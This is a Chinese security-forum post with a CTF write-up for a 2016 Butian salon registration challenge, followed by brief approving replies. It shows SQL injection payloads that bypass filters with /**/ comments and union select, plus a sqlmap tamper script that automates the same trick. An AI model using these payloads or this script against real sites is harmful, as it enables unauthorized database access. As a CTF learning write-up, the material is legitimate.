请选择 进入手机版 | 继续访问电脑版

SSS安全论坛

 找回密码
 立即注册

QQ登录

只需一步,快速开始

产品
产品
团队
团队
版规
版规
查看: 1701|回复: 11

[原创文章] 看我如何报名补天沙龙-成都站

[复制链接]
  • TA的每日心情
    开心
    2016-2-2 20:06
  • 签到天数: 12 天

    [LV.3]偶尔看看II

    发表于 2016-10-22 02:36:41 | 显示全部楼层 |阅读模式
    声明,这不是广告,因为现在是凌晨,而沙龙是白天下午一点开始。

    不过还是要提一下,主办方是补天漏洞平台、承办方是安全盒子。

    想要报名参会需要通过一道CTF,CTF是为了测试参会人员基础够不够资格参加沙龙。
    正文:

    喂?

    在干嘛呢,补天报名地址出来了,但是我报不了。

    为什么报不了啊?

    握草,报名地址就是个CTF,我不知道这什么加密

    等会,半小时到家。

    这题比较有趣,报名地址是公众号文章内的原文地址。
    1.png


    进入以后快速的填写资料提交无反应,第一反应是查看源代码,不到十秒钟看到了两个js文件,略懂一点javascript。不敢班门弄斧,上相关资料。

    百度touch的手势框架,touch.js

    http://jingyan.baidu.com/article/7f766daf5936914101e1d03d.html

    通俗来说,这两个文件存在基本就是需要手机来提交。

    2.png

    到了这里得到了game地址,进去http://butian.secbox.cn以后就是很简单的欢迎语。直觉告诉我要看看http请求里,可能是因为上海站沙龙站我出题的时候也是这个思路吧。
    3.png
    真庆幸自己也经常用返回包这招捉弄新手,直觉帮我少走了许多弯路,直接在响应头里面看见一串奇怪的字符。不巧的是我又刚好略懂加密。

    根据以往的经验判断是ROT13 加密,ROT13 加密是凯撒加密的一种。现在常常被当作弱加密示例的典型,也是当下很多基础ctf小游戏经常出现的一道题。

    解密地址:网络管理员在线工具

    得出结果:Flag{wElCoMe_tO_BuTi4n}

    解决时间:三分钟
    莫方,还要第二种解法

    ?Id=1 2 3...... 分别返回不同的结果,猜测有注入。只是做了一些限制

    前阵子玩耍某ctf比赛的时候,遇到了一个LuManager15年12月爆出的漏洞。结果用sqlmap带入tamper成功跑出

    想着这道题可能也会有这样的情况。带上tamper失败

    开始手工注入:

    ?id=1返回: ctf gogogo
    4.png

    ?id=2返回: where is flag?
    5.png

    ?id=3返回: flag is in database
    6.png
    手工查看过滤了什么函数

    ?id=3%27
    7.png
    返回报错页面,再次尝试

    ?id=3-1
    8.png
    正常返回where is flag?,可以看见数据库进行了正常的运算。确定存在注入了。

    经过短暂的探测,过滤函数如下:

    空格、and、or、infomation_schema、ORDER BY......

    空格尝试/**/进行替代

    /?id=2/**/-1
    9.png

    正常返回ID=1的所属值 ,所以空格基本可以用/**/代替 ,测试union select没有被过滤

    那么进行报错联合查询?id=-1/**/union/**/select/**/1
    10.png
    手工判断是否能显示报错进行,测试只能union select 1,1个字段进行数据显示
    11.png

    ?id=-1/**/union/**/select/**/USER()# 爆出[email protected]

    接着使用id=-1/**/union/**/select/**/database() 爆出库名
    12.png

    进行信息分析根据上面不同返回信息进行分别尝试

    判断语句:?id=-1/**/union/**/select/**/1/**/from/**/websql.flag
    13.png

    上面已经得到库名为websql、那么我的语句意思是:

    如果数据库名是websql,表名是flag,则返回1。 如果表名不是flag则返回报错页面

    /?id=-1/**/union/**/select/**/flag/**/from/**/websql.flag
    14.png

    同样的方法最后得到flag

    库名是websql、表名是flag、字段名也是flag、内容是FLAG{wElCoMe_tO_BuTi4n}
    手工注入以后是脚本

    sqlmap的tamper目录里有需要py脚本,这些脚本大部分是帮助我们绕过防注入的。

    根据这个案例我也写了一个小脚本,在sqlmap tamper目录里面随便找个脚本,按照现有的脚本进行编写,因为空格被过滤,所以需要/**/进行代替
    #!/usr/bin/env python

    """
    Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/)
    See the file 'doc/COPYING' for copying permission
    """

    import re

    from lib.core.enums import PRIORITY

    __priority__ = PRIORITY.HIGHEST

    def dependencies():
        pass
    #tamper 方法里面进行更改 第一个参数是payload,第二个是headers  http请求头信息
    def tamper(payload, headers):
        """
        Replaces 空格  with /**/

        Example:
            * Input: 1' and 1=1
            * Output: 1'/**/and/**/1=1
        """
        #payload=payload.upper()
        return payload.replace(" ", "/**/") if payload else payload, headers

    加了一些注释,python初学者也能很好理解吧?

    这里在编写脚本以后一度无法爆出表和字段名。于是我猜测是在sqlmap的表、字段的字典中没有flag。于是加上
    15.png

    最终运行结果:
    16.png

    结语:

    这个报名题,比较基础。也只是一个小小的门槛题,22号白天下午才是正菜,希望我等弱鸡能够通过并分享给大家,感谢观看。

    想要更好的防注入,采用SQL预编译技术。注意字节编码。

    如果自己写公共处理类,可以参考一下dedecms、Discuz! 等等......

    相关基础文章:你真的会SQL注入攻击吗?(下) - 黑客生活 - 知乎专栏

    评分

    参与人数 2下载币 +1 好评 +12 荣誉 +1 收起 理由
    wd0g + 10 淡定
    杀手 + 1 + 2 + 1 热心帮助他人,荣誉+1,希望继续努力

    查看全部评分

    回复

    使用道具 举报

  • TA的每日心情
    奋斗
    5 天前
  • 签到天数: 215 天

    [LV.7]常住居民III

    发表于 2016-10-22 08:51:16 | 显示全部楼层
    6666666666666666666
  • TA的每日心情
    无聊
    昨天 16:30
  • 签到天数: 244 天

    [LV.8]以坛为家I

    发表于 2016-10-22 09:29:51 | 显示全部楼层
    佩服
    回复

    使用道具 举报

  • TA的每日心情

    2017-3-11 17:23
  • 签到天数: 136 天

    [LV.7]常住居民III

    发表于 2016-10-22 11:02:39 | 显示全部楼层
    厉害了
    回复

    使用道具 举报

  • TA的每日心情
    开心
    2017-3-17 09:28
  • 签到天数: 49 天

    [LV.5]常住居民I

    发表于 2016-10-22 11:40:50 来自手机 | 显示全部楼层
    只能说:6666666
  • TA的每日心情
    擦汗
    2017-2-14 14:07
  • 签到天数: 48 天

    [LV.5]常住居民I

    发表于 2016-10-22 14:02:13 | 显示全部楼层
    66666666666666666
  • TA的每日心情
    开心
    2017-3-21 23:26
  • 签到天数: 85 天

    [LV.6]常住居民II

    发表于 2016-10-22 16:04:11 来自手机 | 显示全部楼层
    感谢分享!期待你的比赛哦。
  • TA的每日心情
    无聊
    2016-11-28 20:46
  • 签到天数: 65 天

    [LV.6]常住居民II

    发表于 2016-10-22 18:30:07 | 显示全部楼层
    厉害了,我的哥
  • TA的每日心情
    难过
    5 天前
  • 签到天数: 234 天

    [LV.7]常住居民III

    发表于 2016-10-23 10:52:08 | 显示全部楼层
    虽然不大懂CTF,但是看起来很NB
  • TA的每日心情

    昨天 18:29
  • 签到天数: 43 天

    [LV.5]常住居民I

    发表于 2016-10-24 22:03:31 | 显示全部楼层
    厉害了我的大表哥,原来还有第二种解法,学习了。谢谢大表哥
    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    关闭

    站长推荐上一条 /1 下一条

    关注微信赢邀请码

    QQ|Archiver|手机版|网站地图|网页地图|SSS安全论坛 ( 黔ICP备15010987号  

    GMT+8, 2017-3-29 05:33 , Processed in 0.251411 second(s), 39 queries .

    Powered by SSS团队 X3.2

    © 2014-2015 Comsenz Inc.

    快速回复 返回顶部 返回列表